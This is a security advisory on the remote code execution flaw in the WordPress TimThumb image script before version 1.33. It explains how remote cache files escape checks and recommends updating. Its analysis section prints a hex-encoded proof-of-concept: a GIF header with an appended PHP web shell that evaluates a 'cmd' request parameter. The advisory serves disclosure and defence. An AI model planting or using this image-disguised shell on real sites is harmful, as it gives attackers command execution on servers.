Security News
2011-31015 WordPress TimThumb Plugin Remote Code Execution Vulnerability

1. Affected Version

TimThumb version before 1.33

2. Description

TimThumb is a simple, flexible, PHP script that resizes images. You give it a bunch of parameters, and it spits out a thumbnail image that you can display on your site.

Feedjit CEO Mark Maunder discovered the remote code execution vulnerability during an audit of a successful attack on his own blog.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00
```

Table 1: The partial proof-of-concept code

The vulnerability is caused due to the script does not check remotely cached files properly. By crafting an image file and appending a PHP file which include malicious script with base64 encoded at the end of this, it is possible to cheat TimThumb into believing that it is a legitimate image. A remoter attacker could upload image files and execute arbitrary PHP code on the TimThumb cache directory without the

owner's permission.

The developer of TimThumb, Ben Gillbanks, was the first to comment on Maunder's post. "I can't apologize enough for this oversight in the code and hope nobody has anything too bad happen to their sites because of my error."

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 04/08/2011.
2. Gillbanks recommended that people use the latest version of TimThumb.

5. Reference

1. http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/